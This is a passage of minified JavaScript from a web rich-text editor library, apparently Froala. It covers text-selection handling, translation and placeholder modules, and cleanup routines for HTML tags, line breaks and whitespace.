o&&i&&o.nodeType===Node.TEXT_NODE&&i.nodeType===Node.TEXT_NODE?(r=o.textContent.length,n?(i.textContent=o.textContent+i.textContent,y(o).remove(),y(e).remove(),E.opts.htmlUntouched||E.spaces.normalize(i),function(){t.setStart(i,r)}):(o.textContent+=i.textContent,y(i).remove(),y(e).remove(),E.opts.htmlUntouched||E.spaces.normalize(o),function(){t.setEnd(o,r)})):o&&!i&&o.nodeType===Node.TEXT_NODE?(r=o.textContent.length,n?(E.opts.htmlUntouched||E.spaces.normalize(o),function(){t.setStart(o,r)}):(E.opts.htmlUntouched||E.spaces.normalize(o),function(){t.setEnd(o,r)})):!(!i||o||i.nodeType!==Node.TEXT_NODE)&&(n?(E.opts.htmlUntouched||E.spaces.normalize(i),function(){t.setStart(i,0)}):(E.opts.htmlUntouched||E.spaces.normalize(i),function(){t.setEnd(i,0)}))}function A(){for(var e=p(),t=0;t<e.length;t++)if(!e[t].collapsed)return!1;return!0}function o(e){var t,n,r=!1,o=!1;if(E.win.getSelection){var i=E.win.getSelection();i.rangeCount&&((n=(t=i.getRangeAt(0)).cloneRange()).selectNodeContents(e),n.setEnd(t.startContainer,t.startOffset),r=a(n),n.selectNodeContents(e),n.setStart(t.endContainer,t.endOffset),o=a(n))}else E.doc.selection&&"Control"!==E.doc.selection.type&&((n=(t=E.doc.selection.createRange()).duplicate()).moveToElementText(e),n.setEndPoint("EndToStart",t),r=a(n),n.moveToElementText(e),n.setEndPoint("StartToEnd",t),o=a(n));return{atStart:r,atEnd:o}}function a(e){return""===e.toString().replace(/[\u200B-\u200D\uFEFF]/g,"")}function x(e,t){void 0===t&&(t=!0);var n=y(e).html();n&&n.replace(/\u200b/g,"").length!==n.length&&y(e).html(n.replace(/\u200b/g,""));for(var r=E.node.contents(e),o=0;o<r.length;o++)r[o].nodeType!==Node.ELEMENT_NODE?y(r[o]).remove():(x(r[o],0===o),0===o&&(t=!1));if(e.nodeType===Node.TEXT_NODE){var i=y(document.createElement("span")).attr("data-first","true").attr("data-text","true");y(e)[0].replaceWith(i[0])}else t&&y(e).attr("data-first",!0)}function w(){return 0===y(this).find("fr-inner").length}function h(){try{if(!E.$wp)return!1;for(var e=p(0).commonAncestorContainer;e&&!E.node.isElement(e);)e=e.parentNode;return!!E.node.isElement(e)}catch(t){return!1}}function r(e,t){if(!e||0<e.getElementsByClassName("fr-marker").length)return!1;for(var n=e.firstChild;n&&(E.node.isBlock(n)||t&&!E.node.isVoid(n)&&n.nodeType===Node.ELEMENT_NODE);)n=(e=n).firstChild;e.innerHTML=Z.MARKERS+e.innerHTML}function i(e,t){if(!e||0<e.getElementsByClassName("fr-marker").length)return!1;for(var n=e.lastChild;n&&(E.node.isBlock(n)||t&&!E.node.isVoid(n)&&n.nodeType===Node.ELEMENT_NODE);)n=(e=n).lastChild;var r=E.doc.createElement("SPAN");for(r.setAttribute("id","fr-sel-markers"),r.innerHTML=Z.MARKERS;e.parentNode&&E.opts.htmlAllowedEmptyTags&&0<=E.opts.htmlAllowedEmptyTags.indexOf(e.tagName.toLowerCase());)e=e.parentNode;e.appendChild(r);var o=e.querySelector("#fr-sel-markers");o.outerHTML=o.innerHTML}return{text:s,get:L,ranges:p,clear:S,element:function l(){var e=L();try{if(e.rangeCount){var t,n=p(0),r=n.startContainer;if(E.node.isElement(r)&&0===n.startOffset&&r.childNodes.length)for(;r.childNodes.length&&r.childNodes[0].nodeType===Node.ELEMENT_NODE;)r=r.childNodes[0];if(r.nodeType===Node.TEXT_NODE&&n.startOffset===(r.textContent||"").length&&r.nextSibling&&(r=r.nextSibling),r.nodeType===Node.ELEMENT_NODE){var o=!1;if(E.node.isElement(r)&&""==r.textContent&&"IMG"==r.childNodes[0].tagName&&r.childNodes.length)for(;r.childNodes.length&&r.childNodes[0].nodeType===Node.ELEMENT_NODE;)r=r.childNodes[0];if(0<r.childNodes.length&&r.childNodes[n.startOffset]){for(t=r.childNodes[n.startOffset];t&&t.nodeType===Node.TEXT_NODE&&0===t.textContent.length;)t=t.nextSibling;if(t&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,o=!0),!o&&1<r.childNodes.length&&0<n.startOffset&&r.childNodes[n.startOffset-1]){for(t=r.childNodes[n.startOffset-1];t&&t.nodeType===Node.TEXT_NODE&&0===t.textContent.length;)t=t.nextSibling;t&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,o=!0)}}else!n.collapsed&&r.nextSibling&&r.nextSibling.nodeType===Node.ELEMENT_NODE&&(t=r.nextSibling)&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,o=!0);!o&&0<r.childNodes.length&&y(r.childNodes[0]).text().replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&["BR","IMG","HR"].indexOf(r.childNodes[0].tagName)<0&&(r=r.childNodes[0])}for(;r.nodeType!==Node.ELEMENT_NODE&&r.parentNode;)r=r.parentNode;for(var i=r;i&&"HTML"!==i.tagName;){if(i===E.el)return r;i=y(i).parent()[0]}}}catch(a){}return E.el},endElement:function c(){var e=L();try{if(e.rangeCount){var t,n=p(0),r=n.endContainer;if(r.nodeType===Node.ELEMENT_NODE){var o=!1;0<r.childNodes.length&&r.childNodes[n.endOffset]&&y(r.childNodes[n.endOffset]).text()===s()?(r=r.childNodes[n.endOffset],o=!0):!n.collapsed&&r.previousSibling&&r.previousSibling.nodeType===Node.ELEMENT_NODE?(t=r.previousSibling)&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,o=!0):!n.collapsed&&0<r.childNodes.length&&r.childNodes[n.endOffset]&&(t=r.childNodes[n.endOffset].previousSibling).nodeType===Node.ELEMENT_NODE&&t&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,o=!0),!o&&0<r.childNodes.length&&y(r.childNodes[r.childNodes.length-1]).text()===s()&&["BR","IMG","HR"].indexOf(r.childNodes[r.childNodes.length-1].tagName)<0&&(r=r.childNodes[r.childNodes.length-1])}for(r.nodeType===Node.TEXT_NODE&&0===n.endOffset&&r.previousSibling&&r.previousSibling.nodeType===Node.ELEMENT_NODE&&(r=r.previousSibling);r.nodeType!==Node.ELEMENT_NODE&&r.parentNode;)r=r.parentNode;for(var i=r;i&&"HTML"!==i.tagName;){if(i===E.el)return r;i=y(i).parent()[0]}}}catch(a){}return E.el},save:N,restore:T,isCollapsed:A,isFull:function d(){if(A())return!1;E.selection.save();var e,t=E.el.querySelectorAll("td, th, img, br, iframe");for(e=0;e<t.length;e++)(t[e].nextSibling||"IMG"===t[e].tagName||"IFRAME"===t[e].tagName)&&(t[e].innerHTML='<span class="fr-mk" style="display: none;"> </span>'.concat(t[e].innerHTML));var n=!1,r=o(E.el);for(r.atStart&&r.atEnd&&(n=!0),t=E.el.querySelectorAll(".fr-mk"),e=0;e<t.length;e++)t[e].parentNode.removeChild(t[e]);return E.selection.restore(),n},inEditor:h,remove:function O(){if(A())return!0;var e;function t(e){for(var t=e.previousSibling;t&&t.nodeType===Node.TEXT_NODE&&0===t.textContent.length;){var n=t;t=t.previousSibling,y(n).remove()}return t}function n(e){for(var t=e.nextSibling;t&&t.nodeType===Node.TEXT_NODE&&0===t.textContent.length;){var n=t;t=t.nextSibling,y(n).remove()}return t}N();var r=E.$el.find('.fr-marker[data-type="true"]');for(e=0;e<r.length;e++)for(var o=r[e];!(t(o)||E.node.isBlock(o.parentNode)||E.$el.is(o.parentNode)||E.node.hasClass(o.parentNode,"fr-inner"));)y(o.parentNode).before(o);var i=E.$el.find('.fr-marker[data-type="false"]');for(e=0;e<i.length;e++){for(var a=i[e];!(n(a)||E.node.isBlock(a.parentNode)||E.$el.is(a.parentNode)||E.node.hasClass(a.parentNode,"fr-inner"));)y(a.parentNode).after(a);a.parentNode&&E.node.isBlock(a.parentNode)&&E.node.isEmpty(a.parentNode)&&!E.$el.is(a.parentNode)&&!E.node.hasClass(a.parentNode,"fr-inner")&&E.opts.keepFormatOnDelete&&y(a.parentNode).after(a)}if(function b(){for(var e=E.$el.find(".fr-marker"),t=0;t<e.length;t++)if(y(e[t]).parentsUntil('.fr-element, [contenteditable="true"]','[contenteditable="false"]').length)return!1;return!0}()){!function L(e,t){var n=E.node.contents(e.get(0));0<=["TD","TH"].indexOf(e.get(0).tagName)&&1===e.find(".fr-marker").length&&(E.node.hasClass(n[0],"fr-marker")||"BR"==n[0].tagName&&E.node.hasClass(n[0].nextElementSibling,"fr-marker"))&&e.attr("data-del-cell",!0);for(var r=0;r<n.length;r++){var o=n[r];E.node.hasClass(o,"fr-marker")?t=(t+1)%2:t?0<y(o).find(".fr-marker").length?t=L(y(o),t):["TD","TH"].indexOf(o.tagName)<0&&!E.node.hasClass(o,"fr-inner")?!E.opts.keepFormatOnDelete||0<E.$el.find("[data-first]").length||E.node.isVoid(o)?y(o).remove():x(o):E.node.hasClass(o,"fr-inner")?0===y(o).find(".fr-inner").length?y(o).html("<br>"):y(o).find(".fr-inner").filter(w).html("<br>"):(y(o).empty(),y(o).attr("data-del-cell",!0)):0<y(o).find(".fr-marker").length&&(t=L(y(o),t))}return t}(E.$el,0);var s=E.$el.find('[data-first="true"]');if(s.length)E.$el.find(".fr-marker").remove(),s.append(Z.INVISIBLE_SPACE+Z.MARKERS).removeAttr("data-first"),s.attr("data-text")&&s.replaceWith(s.html());else for(E.$el.find("table").filter(function(){return 0<y(this).find("[data-del-cell]").length&&y(this).find("[data-del-cell]").length===y(this).find("td, th").length}).remove(),E.$el.find("[data-del-cell]").removeAttr("data-del-cell"),r=E.$el.find('.fr-marker[data-type="true"]'),e=0;e<r.length;e++){var l=r[e],c=l.nextSibling,d=E.$el.find('.fr-marker[data-type="false"][data-id="'.concat(y(l).data("id"),'"]')).get(0);if(d){if(l&&(!c||c!==d)){var f=E.node.blockParent(l),p=E.node.blockParent(d),u=!1,h=!1;if(f&&0<=["UL","OL"].indexOf(f.tagName)&&(u=!(f=null)),p&&0<=["UL","OL"].indexOf(p.tagName)&&(h=!(p=null)),y(l).after(d),f!==p)if(null!==f||u)if(null!==p||h||0!==y(f).parentsUntil(E.$el,"table").length)f&&p&&0===y(f).parentsUntil(E.$el,"table").length&&0===y(p).parentsUntil(E.$el,"table").length&&!y(f).contains(p)&&!y(p).contains(f)&&(y(f).append(y(p).html()),y(p).remove());else{for(c=f;!c.nextSibling&&c.parentNode!==E.el;)c=c.parentNode;for(c=c.nextSibling;c&&"BR"!==c.tagName;){var g=c.nextSibling;y(f).append(c),c=g}c&&"BR"===c.tagName&&y(c).remove()}else{var C=E.node.deepestParent(l);C?(y(C).after(y(p).html()),y(p).remove()):0===y(p).parentsUntil(E.$el,"table").length&&(y(l).next().after(y(p).html()),y(p).remove())}}}else d=y(l).clone().attr("data-type",!1),y(l).after(d)}}E.$el.find("li:empty").remove(),E.opts.keepFormatOnDelete||E.html.fillEmptyBlocks(),E.html.cleanEmptyTags(!0),E.opts.htmlUntouched||(E.clean.lists(),E.$el.find("li:empty").append("<br>"),E.spaces.normalize());var m=E.$el.find(".fr-marker").last().get(0),v=E.$el.find(".fr-marker").first().get(0);void 0!==m&&void 0!==v&&!m.nextSibling&&v.previousSibling&&"BR"===v.previousSibling.tagName&&E.node.isElement(m.parentNode)&&E.node.isElement(v.parentNode)&&E.$el.append("<br>"),T()},blocks:function g(e,t){var n,r,o=[],i=L();if(h()&&i.rangeCount){var a=p();for(n=0;n<a.length;n++){var s=a[n],l=u(s.startContainer,s.startOffset),c=u(s.endContainer,s.endOffset);(r=E.node.blockParent(l))&&o.indexOf(r)<0&&o.push(r),(E.node.isBlock(l)||E.node.hasClass(l,"fr-inner"))&&o.indexOf(l)<0&&o.push(l);for(var d=[],f=l;f!==c&&f!==E.el;)d.indexOf(f)<0&&f.children&&f.children.length?(d.push(f),f=f.children[0]):f.nextSibling?f=f.nextSibling:f.parentNode&&(f=f.parentNode,d.push(f)),E.node.isBlock(f)&&d.indexOf(f)<0&&o.indexOf(f)<0&&(f!==c||0<s.endOffset)&&o.push(f);E.node.isBlock(c)&&o.indexOf(c)<0&&0<s.endOffset&&o.push(c),(r=E.node.blockParent(c))&&o.indexOf(r)<0&&o.push(r)}}for(n=o.length-1;0<n;n--)if(y(o[n-1]).contains(o[n])){if(e&&y(o[n]).find("ul, ol").length)continue;if(t&&"LI"==o[n-1].tagName)continue;o.splice(n-1,1)}else if(y(o[n]).contains(o[n-1])){if(e&&y(o[n]).find("ul, ol").length)continue;o.splice(n,1)}return o},info:o,setAtEnd:i,setAtStart:r,setBefore:function f(e,t){void 0===t&&(t=!0);for(var n=e.previousSibling;n&&n.nodeType===Node.TEXT_NODE&&0===n.textContent.length;)n=n.previousSibling;return n?(E.node.isBlock(n)?i(n):"BR"===n.tagName?y(n).before(Z.MARKERS):y(n).after(Z.MARKERS),!0):!!t&&(E.node.isBlock(e)?r(e):y(e).before(Z.MARKERS),!0)},setAfter:function C(e,t){void 0===t&&(t=!0);for(var n=e.nextSibling;n&&n.nodeType===Node.TEXT_NODE&&0===n.textContent.length;)n=n.nextSibling;return n?(E.node.isBlock(n)?r(n):y(n).before(Z.MARKERS),!0):!!t&&(E.node.isBlock(e)?i(e):y(e).after(Z.MARKERS),!0)},rangeElement:u}},Object.assign(Z.DEFAULTS,{language:null}),Z.LANGUAGE={},Z.MODULES.language=function(e){var t;return{_init:function n(){Z.LANGUAGE&&(t=Z.LANGUAGE[e.opts.language]),t&&t.direction&&(e.opts.direction=t.direction)},translate:function r(e){return t&&t.translation[e]&&t.translation[e].length?t.translation[e]:e}}},Object.assign(Z.DEFAULTS,{placeholderText:"Type something"}),Z.MODULES.placeholder=function(f){var p=f.$;function e(){f.$placeholder||function d(){f.$placeholder=p(f.doc.createElement("SPAN")).addClass("fr-placeholder"),f.$wp.append(f.$placeholder)}();var e=f.opts.iframe?f.$iframe.prev().outerHeight(!0):f.$el.prev().outerHeight(!0),t=0,n=0,r=0,o=0,i=0,a=0,s=f.node.contents(f.el),l=p(f.selection.element()).css("text-align");if(s.length&&s[0].nodeType===Node.ELEMENT_NODE){var c=p(s[0]);(0<f.$wp.prev().length||0<f.$el.prev().length)&&f.ready&&(t=f.helpers.getPX(c.css("margin-top")),o=f.helpers.getPX(c.css("padding-top")),n=f.helpers.getPX(c.css("margin-left")),r=f.helpers.getPX(c.css("margin-right")),i=f.helpers.getPX(c.css("padding-left")),a=f.helpers.getPX(c.css("padding-right"))),f.$placeholder.css("font-size",c.css("font-size")),f.$placeholder.css("line-height",c.css("line-height"))}else f.$placeholder.css("font-size",f.$el.css("font-size")),f.$placeholder.css("line-height",f.$el.css("line-height"));f.$wp.addClass("show-placeholder"),f.$placeholder.css({marginTop:Math.max(f.helpers.getPX(f.$el.css("margin-top")),t)+(e||0),paddingTop:Math.max(f.helpers.getPX(f.$el.css("padding-top")),o),paddingLeft:Math.max(f.helpers.getPX(f.$el.css("padding-left")),i),marginLeft:Math.max(f.helpers.getPX(f.$el.css("margin-left")),n),paddingRight:Math.max(f.helpers.getPX(f.$el.css("padding-right")),a),marginRight:Math.max(f.helpers.getPX(f.$el.css("margin-right")),r),textAlign:l}).text(f.language.translate(f.opts.placeholderText||f.$oel.attr("placeholder")||"")),f.$placeholder.html(f.$placeholder.text().replace(/\n/g,"<br>"))}function t(){f.$wp.removeClass("show-placeholder")}function n(){if(!f.$wp)return!1;f.core.isEmpty()?e():t()}return{_init:function r(){if(!f.$wp)return!1;f.events.on("init input keydown keyup contentChanged initialized",n)},show:e,hide:t,refresh:n,isVisible:function o(){return!f.$wp||f.node.hasClass(f.$wp.get(0),"show-placeholder")}}},Z.UNICODE_NBSP=String.fromCharCode(160),Z.VOID_ELEMENTS=["area","base","br","col","embed","hr","img","input","keygen","link","menuitem","meta","param","source","track","wbr"],Z.BLOCK_TAGS=["address","article","aside","audio","blockquote","canvas","details","dd","div","dl","dt","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","li","main","nav","noscript","ol","output","p","pre","section","table","tbody","td","tfoot","th","thead","tr","ul","video"],Object.assign(Z.DEFAULTS,{htmlAllowedEmptyTags:["textarea","a","iframe","object","video","style","script",".fa",".fr-emoticon",".fr-inner","path","line","hr"],htmlDoNotWrapTags:["script","style"],htmlSimpleAmpersand:!1,htmlIgnoreCSSProperties:[],htmlExecuteScripts:!0}),Z.MODULES.html=function(D){var _=D.$;function d(){return D.opts.enter===Z.ENTER_P?"p":D.opts.enter===Z.ENTER_DIV?"div":D.opts.enter===Z.ENTER_BR?null:void 0}function s(e,t){return!(!e||e===D.el)&&(t?-1!=["PRE","SCRIPT","STYLE"].indexOf(e.tagName)||s(e.parentNode,t):-1!==["PRE","SCRIPT","STYLE"].indexOf(e.tagName))}function i(e){var t,n=[],r=[];if(e){var o=D.el.querySelectorAll(".fr-marker");for(t=0;t<o.length;t++){var i=D.node.blockParent(o[t])||o[t];if(i){var a=i.nextSibling,s=i.previousSibling;i&&r.indexOf(i)<0&&D.node.isBlock(i)&&r.push(i),s&&D.node.isBlock(s)&&r.indexOf(s)<0&&r.push(s),a&&D.node.isBlock(a)&&r.indexOf(a)<0&&r.push(a)}}}else r=D.el.querySelectorAll(p());var l=p();for(l+=",".concat(Z.VOID_ELEMENTS.join(",")),l+=", .fr-inner",l+=",".concat(D.opts.htmlAllowedEmptyTags.join(":not(.fr-marker),"),":not(.fr-marker)"),t=r.length-1;0<=t;t--)if(!(r[t].textContent&&0<r[t].textContent.replace(/\u200B|\n/g,"").length||0<r[t].querySelectorAll(l).length)){for(var c=D.node.contents(r[t]),d=!1,f=0;f<c.length;f++)if(c[f].nodeType!==Node.COMMENT_NODE&&c[f].textContent&&0<c[f].textContent.replace(/\u200B|\n/g,"").length){d=!0;break}d||n.push(r[t])}return n}function p(){return Z.BLOCK_TAGS.join(", ")}function e(e){var t,n,r=_.merge([],Z.VOID_ELEMENTS);r=_.merge(r,D.opts.htmlAllowedEmptyTags),r=void 0===e?_.merge(r,Z.BLOCK_TAGS):_.merge(r,Z.NO_DELETE_TAGS),t=D.el.querySelectorAll("*:empty:not(".concat(r.join("):not("),"):not(.fr-marker):not(template)"));do{n=!1;for(var o=0;o<t.length;o++)0!==t[o].attributes.length&&void 0===t[o].getAttribute("href")||(t[o].parentNode.removeChild(t[o]),n=!0);(t=D.el.querySelectorAll("*:empty:not(".concat(r.join("):not("),"):not(.fr-marker):not(template)"))).length||(t=D.el.querySelectorAll("a[href]:not([name]):empty"))}while(t.length&&n)}function a(e,t){var n=d();if(t&&(n="div"),n){for(var r=D.doc.createDocumentFragment(),o=null,i=!1,a=e.firstChild,s=!1;a;){var l=a.nextSibling;if(a.nodeType===Node.ELEMENT_NODE&&(D.node.isBlock(a)||0<=D.opts.htmlDoNotWrapTags.indexOf(a.tagName.toLowerCase())&&!D.node.hasClass(a,"fr-marker")))o=null,r.appendChild(a.cloneNode(!0));else if(a.nodeType!==Node.ELEMENT_NODE&&a.nodeType!==Node.TEXT_NODE)o=null,r.appendChild(a.cloneNode(!0));else if("BR"===a.tagName)null===o?(o=D.doc.createElement(n),s=!0,t&&(o.setAttribute("class","fr-temp-div"),o.setAttribute("data-empty",!0)),o.appendChild(a.cloneNode(!0)),a&&a.parentNode&&["TD","TH"].indexOf(a.parentNode.tagName)<0&&r.appendChild(o)):!1===i&&(o.appendChild(D.doc.createElement("br")),t&&(o.setAttribute("class","fr-temp-div"),o.setAttribute("data-empty",!0))),o=null;else{var c=a.textContent;if(a.nodeType!==Node.TEXT_NODE||0<c.replace(/\n/g,"").replace(/(^ *)|( *$)/g,"").length||c.replace(/(^ *)|( *$)/g,"").length&&c.indexOf("\n")<0){if("SPAN"===a.tagName&&_(a).hasClass("fr-marker")&&!a.previousSibling&&(a.nextSibling&&"TABLE"==a.nextSibling.tagName||a.nextSibling&&a.nextSibling.nextSibling&&"TABLE"==a.nextSibling.nextSibling.tagName)){r.appendChild(a),a=l;continue}if("SPAN"===a.tagName&&_(a).hasClass("fr-marker")&&a.previousSibling&&a.previousSibling.nodeType===Node.ELEMENT_NODE&&(a.nextSibling&&"TABLE"==a.nextSibling.tagName||a.nextSibling&&a.nextSibling.nextSibling&&"TABLE"==a.nextSibling.nextSibling.tagName)){r.appendChild(a),s=!0,a=l;continue}null===o&&(o=D.doc.createElement(n),s=!0,t&&o.setAttribute("class","fr-temp-div"),r.appendChild(o),i=!1),o.appendChild(a.cloneNode(!0)),i||D.node.hasClass(a,"fr-marker")||a.nodeType===Node.TEXT_NODE&&0===c.replace(/ /g,"").length||(i=!0)}else s=!0}a=l}s&&(e.innerHTML="",e.appendChild(r))}}function l(e,t){for(var n=e.length-1;0<=n;n--)a(e[n],t)}function t(e,t,n,r,o){if(!D.$wp)return!1;void 0===e&&(e=!1),void 0===t&&(t=!1),void 0===n&&(n=!1),void 0===r&&(r=!1),void 0===o&&(o=!1);var i=D.$wp.scrollTop();a(D.el,e),r&&l(D.el.querySelectorAll(".fr-inner"),e),t&&l(D.el.querySelectorAll("td, th"),e),n&&l(D.el.querySelectorAll("blockquote"),e),o&&l(D.el.querySelectorAll("li"),e),i!==D.$wp.scrollTop()&&D.$wp.scrollTop(i)}function n(e){if(void 0===e&&(e=D.el),e&&0<=["SCRIPT","STYLE","PRE"].indexOf(e.tagName))return!1;for(var t=D.doc.createTreeWalker(e,NodeFilter.SHOW_TEXT,D.node.filter(function(e){return null!==e.textContent.match(/([ \n]{2,})|(^[ \n]{1,})|([ \n]{1,}$)/g)}),!1);t.nextNode();){var n=t.currentNode;if(!s(n.parentNode,!0)){var r=D.node.isBlock(n.parentNode)||D.node.isElement(n.parentNode),o=void 0;if(o=D.opts.preserveTabSpaces?n.textContent.replace(/\n/g," ").replace(/^[ ]{2,}/g," ").replace(/[ ]{2,}$/g," "):n.textContent.replace(/(?!^)( ){2,}(?!$)/g," ").replace(/\n/g," ").replace(/^[ ]{2,}/g," ").replace(/[ ]{2,}$/g," "),r){var i=n.previousSibling,a=n.nextSibling;i&&a&&" "===o?o=D.node.isBlock(i)&&D.node.isBlock(a)?"":" ":(i||(o=o.replace(/^ */,"")),a||(o=o.replace(/ *$/,"")))}n.textContent=o}}}function r(e,t,n){var r=new RegExp(t,"gi").exec(e);return r?r[n]:null}function R(e){var t=e.doctype,n="<!DOCTYPE html>";return t&&(n="<!DOCTYPE ".concat(t.name).concat(t.publicId?' PUBLIC "'.concat(t.publicId,'"'):"").concat(!t.publicId&&t.systemId?" SYSTEM":"").concat(t.systemId?' "'.concat(t.systemId,'"'):"",">")),n}function c(e){var t=e.parentNode;if(t&&(D.node.isBlock(t)||D.node.isElement(t))&&["TD","TH"].indexOf(t.tagName)<0){for(var n=e.previousSibling,r=e.nextSibling;n&&(n.nodeType===Node.TEXT_NODE&&0===n.textContent.replace(/\n|\r/g,"").length||D.node.hasClass(n,"fr-tmp"));)n=n.previousSibling;if(r)return!1;n&&t&&"BR"!==n.tagName&&!D.node.isBlock(n)&&!r&&0<t.textContent.replace(/\u200B/g,"").length&&0<n.textContent.length&&!D.node.hasClass(n,"fr-marker")&&(D.el===t&&!r&&D.opts.enter===Z.ENTER_BR&&D.browser.msie||e.parentNode.removeChild(e))}else!t||D.node.isBlock(t)||D.node.isElement(t)||e.previousSibling||e.nextSibling||!D.node.isDeletable(e.parentNode)||c(e.parentNode)}function b(){D.opts.htmlUntouched||(e(),t(),n(),D.spaces.normalize(null,!0),D.html.fillEmptyBlocks(),D.clean.lists(),D.clean.tables(),D.clean.toHTML5(),D.html.cleanBRs()),D.selection.restore(),o(),D.placeholder.refresh()}function o(){D.node.isEmpty(D.el)&&(null!==d()?D.el.querySelector(p())||D.el.querySelector("".concat(D.opts.htmlDoNotWrapTags.join(":not(.fr-marker),"),":not(.fr-marker)"))||(D.core.hasFocus()?(D.$el.html("<".concat(d(),">").concat(Z.MARKERS,"<br/></").concat(d(),">")),D.selection.restore()):D.$el.html("<".concat(d(),"><br/></").concat(d(),">"))):D.el.querySelector("*:not(.fr-marker):not(br)")||(D.core.hasFocus()?(D.$el.html("".concat(Z.MARKERS,"<br/>")),D.selection.restore()):D.$el.html("<br/>")))}function L(e,t){return r(e,"<".concat(t,"[^>]*?>([\\w\\W]*)</").concat(t,">"),1)}function E(e,t){var n=_("<div ".concat(r(e,"<".concat(t,"([^>]*?)>"),1)||"",">"));return D.node.rawAttributes(n.get(0))}function y(e){return(r(e,"<!DOCTYPE([^>]*?)>",0)||"<!DOCTYPE html>").replace(/\n/g," ").replace(/ {2,}/g," ")}function S(e,t){D.opts.htmlExecuteScripts?e.html(t):e.get(0).innerHTML=t}function B(e){var t;(t=/:not\(([^)]*)\)/g).test(e)&&(e=e.replace(t," $1 "));var n=100*(e.match(/(#[^\s+>~.[:]+)/g)||[]).length+10*(e.match(/(\[[^]]+\])/g)||[]).length+10*(e.match(/(\.[^\s+>~.[:]+)/g)||[]).length+10*(e.match(/(:[\w-]+\([^)]*\))/gi)||[]).length+10*(e.match(/(:[^\s+>~.[:]+)/g)||[]).length+(e.match(/(::[^\s+>~.[:]+|:first-line|:first-letter|:before|:after)/gi)||[]).length;return n+=((e=(e=e.replace(/[*\s+>~]/g," ")).replace(/[#.]/g," ")).match(/([^\s+>~.[:]+)/g)||[]).length}function V(e){if(D.events.trigger("html.processGet",[e]),e&&e.getAttribute&&""===e.getAttribute("class")&&e.removeAttribute("class"),e&&e.getAttribute&&""===e.getAttribute("style")&&e.removeAttribute("style"),e&&e.nodeType===Node.ELEMENT_NODE){var t,n=e.querySelectorAll('[class=""],[style=""]');for(t=0;t<n.length;t++){var r=n[t];""===r.getAttribute("class")&&r.removeAttribute("class"),""===r.getAttribute("style")&&r.removeAttribute("style")}if("BR"===e.tagName)c(e);else{var o=e.querySelectorAll("br");for(t=0;t<o.length;t++)c(o[t])}}}function I(e,t){return e[3]-t[3]}function P(){for(var e=D.el.querySelectorAll("input, textarea"),t=0;t<e.length;t++)"checkbox"!==e[t].type&&"radio"!==e[t].type||(e[t].checked?e[t].setAttribute("checked",e[t].checked):D.$(e[t]).removeAttr("checked")),e[t].getAttribute("value")&&e[t].setAttribute("value",e[t].value)}function f(e){var t=D.doc.createElement("div");return t.innerHTML=e,null!==t.querySelector(p())}function u(e){var t=null;if(void 0===e&&(t=D.selection.element()),D.opts.keepFormatOnDelete)return!1;var n,r,o=t?(t.textContent.match(/\u200B/g)||[]).length-t.querySelectorAll(".fr-marker").length:0;if((D.el.textContent.match(/\u200B/g)||[]).length-D.el.querySelectorAll(".fr-marker").length===o)return!1;do{r=!1,n=D.el.querySelectorAll("*:not(.fr-marker)");for(var i=0;i<n.length;i++){var a=n[i];if(t!==a){var s=a.textContent;0===a.children.length&&1===s.length&&8203===s.charCodeAt(0)&&["TD","STRONG","SPAN","EM","U","S","SUB","SUP"].indexOf(a.tagName)<0&&(_(a).remove(),r=!0)}}}while(r)}function h(){u(),D.placeholder&&setTimeout(D.placeholder.refresh,0)}return{defaultTag:d,isPreformatted:s,emptyBlocks:i,emptyBlockTagsQuery:function g(){return"".concat(Z.BLOCK_TAGS.join(":empty, "),":empty")},blockTagsQuery:p,fillEmptyBlocks:function C(e){var t=i(e);D.node.isEmpty(D.el)&&D.opts.enter===Z.ENTER_BR&&t.push(D.el);for(var n=0;n<t.length;n++){var r=t[n];"false"===r.getAttribute("contenteditable")||r.querySelector("".concat(D.opts.htmlAllowedEmptyTags.join(":not(.fr-marker),"),":not(.fr-marker)"))||D.node.isVoid(r)||"TABLE"===r.tagName||"TBODY"===r.tagName||"TR"===r.tagName||"UL"===r.tagName||"OL"===r.tagName||r.querySelector("br")||r.appendChild(D.doc.createElement("br"))}if(D.browser.msie&&D.opts.enter===Z.ENTER_BR){var o=D.node.contents(D.el);o.length&&o[o.length-1].nodeType===Node.TEXT_NODE&&D.$el.append("<br>")}},cleanEmptyTags:e,cleanWhiteTags:u,cleanBlankSpaces:n,blocks:function m(){return D.$el.get(0).querySelectorAll(p())},getDoctype:R,set:function N(e){var t=D.clean.html((e||"").trim(),[],[],D.opts.fullPage);if(D.opts.useClasses){var n=_("<div>").html(t)[0],r=D.opts.fontFamilyDefaultSelection&&"Font Family"!=D.opts.fontFamilyDefaultSelection?D.opts.fontFamilyDefaultSelection:"",o=D.opts.fontSizeDefaultSelection&&D.opts.fontSizeUnit&&"Font Size"!=D.opts.fontSizeDefaultSelection?("pt"===D.opts.fontSizeUnit?Math.round(72*parseFloat(D.opts.fontSizeDefaultSelection,10)/96):D.opts.fontSizeDefaultSelection)+D.opts.fontSizeUnit:"";if(1===n.children.length&&"DIV"===n.children[0].tagName&&(o||r)){var i=n.children[0].style,a=r&&o?2:r||o?1:0;i.length==a&&r==i.fontFamily&&o==i.fontSize&&(t=n.children[0].innerHTML)}}var s=new RegExp("%3A//","g"),l=t.replace(s,"://");if(D.opts.fullPage){var c=L(l,"body")||(0<=l.indexOf("<body")?"":l),d=E(l,"body"),f=L(l,"head")||"<title></title>",p=E(l,"head"),u=_("<div>");u.append(f).contents().each(function(){(this.nodeType===Node.COMMENT_NODE||0<=["BASE","LINK","META","NOSCRIPT","SCRIPT","STYLE","TEMPLATE","TITLE"].indexOf(this.tagName))&&this.parentNode.removeChild(this)});var h=u.html().trim();f=_("<div>").append(f).contents().map(function(){return this.nodeType===Node.COMMENT_NODE?"\x3c!--".concat(this.nodeValue,"--\x3e"):0<=["BASE","LINK","META","NOSCRIPT","SCRIPT","STYLE","TEMPLATE","TITLE"].indexOf(this.tagName)?this.outerHTML:""}).toArray().join("");var 